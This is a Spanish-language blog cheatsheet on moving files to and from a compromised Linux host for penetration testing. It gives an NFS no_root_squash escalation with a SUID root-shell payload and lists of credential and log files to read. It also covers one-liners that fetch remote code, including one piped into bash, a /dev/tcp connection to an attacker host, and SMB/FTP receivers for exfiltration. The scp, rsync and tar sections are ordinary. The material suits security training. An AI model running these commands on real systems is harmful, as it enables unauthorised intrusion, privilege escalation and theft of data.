← Blog

Transferencia de Archivos en Linux

Exfiltración y transferencia de archivos: scp/rsync, descargas con PHP/Python, servidores HTTP/FTP/SMB y empaquetado tar/zip.

Transferencia de Archivos en Linux

Operational Scope & Technical Objective

La transferencia de archivos entre un host comprometido y la máquina del operador cubre dos direcciones: sacar material (exfiltración, credenciales, hashes, binarios) y meter herramientas (linpeas, exploits, payloads). La elección de método depende de qué está disponible en el target: scp/rsync sobre SSH, descargadores de scripting (php -r, python -c, ruby), servidores HTTP triviales levantados en el host del operador, servidores FTP/SMB para recibir archivos, o /dev/tcp como primitiva de red pura. Previamente, el reconocimiento del filesystem localiza dónde están los datos y qué vías de escalada existen (p.ej. NFS con no_root_squash).

Reconocimiento del Filesystem (contexto de exfiltración y escalada)

cat /etc/fstab           # montajes en arranque
cat /etc/exports         # exportaciones NFS
mount                    # filesystems montados
df -h                    # uso de espacio por partición

# Si /etc/exports incluye 'no_root_squash', el share puede montarse localmente,
# escribir un binario SUID como root (los permisos no se mapean) y ejecutarlo en el target
showmount -e MACHINE_IP
mkdir /tmp/1
mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

# ¿Qué archivos de /etc son escribibles? ¿Se puede reconfigurar un servicio?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Cualquiera
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Grupo
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Others
find /etc/ -readable -type f 2>/dev/null            # Legibles por cualquiera
find /etc/ -readable -type f -maxdepth 1 2>/dev/null

Contenido de VAR (logs, mail, bases de datos)

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

HTTP roots / FTP roots

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Logs de aplicación con datos sensibles

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

High-Impact Syntax & Command Cheatsheet

scp (Secure Copy sobre SSH)

scp file.txt 192.168.100.4:/home/bob/            # local → remoto
scp -r files 192.168.100.4:/home/bob/            # directorio local → remoto
scp 192.168.100.4:/home/bob/remote-file.txt backup/   # remoto → local
scp file.txt sally@192.168.100.4:/home/sally     # local → remoto con usuario explícito

scp [opciones] origen destino
scp -r /ruta/al/directorio usuario@host:/ruta/destino/   # recursivo
scp -P 2222 /ruta/al/archivo usuario@host:/ruta/destino/ # puerto SSH distinto (-P, mayúscula)
scp -v /ruta/al/archivo usuario@host:/ruta/destino/      # verbose
scp -i ~/.ssh/clave_privada.pem /ruta/al/archivo usuario@host:/ruta/destino/   # clave privada

rsync

# Solo copia los archivos que cambiaron entre origen y destino (mejor que scp en bulk)
rsync -avzh file.txt 192.168.100.4:/home/bob
# -a archive (preserva directorios y permisos), -v verbose,
# -z compresión, -h salida human-readable

Descargadores por lenguaje

# PHP
php -r '$file = file_get_contents("<URL>"); file_put_contents("<FILENAME>",$file);'

php -r 'const BUFFER = 1024; $fremote = fopen("<URL>", "rb"); $flocal = fopen("<FILENAME>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

php -r '$rfile = "<URL>"; $lfile = "<FILENAME>"; $fp = fopen($lfile, "w+"); $ch = curl_init($rfile); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_exec($ch);'

# Recuperar cada línea y ejecutarla
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

# Python 2
python2 -c 'import urllib; urllib.urlretrieve("<URL>", "<FILENAME>")'

# Python 3
python3 -c 'import urllib.request; urllib.request.urlretrieve("<URL>", "<FILENAME>")'

Cualquier lenguaje con runtime disponible cubre la descarga; el patrón es HTTP GET hacia un servidor levantado en el host del operador.

Servidores web en el host del operador

# python2
python -m SimpleHTTPServer 8080

# python3
python3 -m http.server 8080

# ruby
ruby -run -ehttpd . -p8080

# php
php -S 0.0.0.0:8080

# socat
socat TCP-LISTEN:8080,reuseaddr,fork

Servidor FTP (recepción)

python3 -m pyftpdlib --user=<USERNAME> --password=<PASSWORD> -w
# -w habilita escritura; permite recibir uploads del target

# Upload one-liner desde el target con el cliente ftp de línea
ftp -4 -d -v ftp://offsec:offsec@127.0.0.1//linuxprichecker.py

Servidor SMB (recepción, impacket)

python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/
# sirve el directorio como share 'CompData'; el target copia al share para exfiltrar

Primitiva de red pura con /dev/tcp

exec 3<>/dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>
echo -e "GET /<FILENAME> HTTP/1.1\n\n">&3
cat <&3

Infraestructura de Recepción — Host/VM con SSH (systemctl)

Para transferir archivos entre la máquina virtual (target) y el host físico, se instala y gestiona OpenSSH en el receptor:

# Instalación (Debian/Ubuntu)
sudo apt update
sudo apt install openssh-server

# Instalación (CentOS/Red Hat)
sudo yum install openssh-server

Gestión del servicio:

sudo systemctl status ssh     # estado del servicio
sudo systemctl start ssh      # iniciar
sudo systemctl stop ssh       # detener
sudo systemctl restart ssh    # reiniciar
sudo systemctl enable ssh     # arranque automático
sudo systemctl disable ssh    # sin arranque automático

Configuración: editar /etc/ssh/sshd_config y reiniciar el servicio para aplicar cambios (sudo systemctl restart ssh).

Semántica del destino en scp

Si no se especifica una ruta de destino completa:

  1. Nombre simple o host: — el archivo se copia al home del usuario remoto (/home/usuario/).
  2. Ruta relativa (sin / inicial, p.ej. documentos/) — se interpreta respecto al directorio actual del usuario remoto.
  3. Ruta absoluta (p.ej. /var/archivos/) — se copia a esa ruta exacta.

Ejemplo:

scp archivo.txt usuario@host:
# → /home/usuario/archivo.txt en el servidor

Para evitar ambigüedad conviene especificar siempre la ruta de destino completa.

Empaquetado antes de enviar

tar

tar -cvf archivo.tar /ruta/a/tus/archivos        # -c crear, -v verbose, -f archivo
tar -czvf archivo.tar.gz /ruta/a/tus/archivos    # -z compresión gzip
tar -cjvf archivo.tar.bz2 /ruta/a/tus/archivos   # -j compresión bzip2
tar tvf backup.tar      # listar contenido del archivo
tar xvf backup.tar      # extraer
gzip backup.tar         # comprimir un .tar existente
gunzip backup.tar.gz    # descomprimir

zip

zip -r archivo.zip /ruta/a/tus/archivos   # -r recursivo
unzip -l archivo.zip                      # listar contenido

Real-World Offensive/Defensive Scenarios

  • Ingreso de herramientas en el target (ofensivo): levantar python3 -m http.server 8080 en el host del operador y en el target wget http://IPTun0:8080/linpeas.sh o curl -O; si no hay wget/curl, usar los descargadores PHP/Python de la cheatsheet.

  • Exfiltración sin servidor HTTP (ofensivo): el share SMB de smbserver.py o el FTP de pyftpdlib reciben archivos en segundo plano; la primitiva /dev/tcp permite descargar sin herramientas adicionales en el target.

  • Escalada por NFS no_root_squash (ofensivo): el bloque de reconocimiento del filesystem convierte un export montable en SUID root: se compila el payload localmente (gcc + chmod +s), se ejecuta en el target y se obtiene UID 0.

  • Canal seguro para VM↔host (ofensivo/defensivo): SSH + scp con clave privada (-i) evita exponer la sesión en claro; como defensa, scp/rsync sobre SSH cifran en tránsito, mientras que tar -czvf + gpg protegen el material en reposo antes de transferirlo.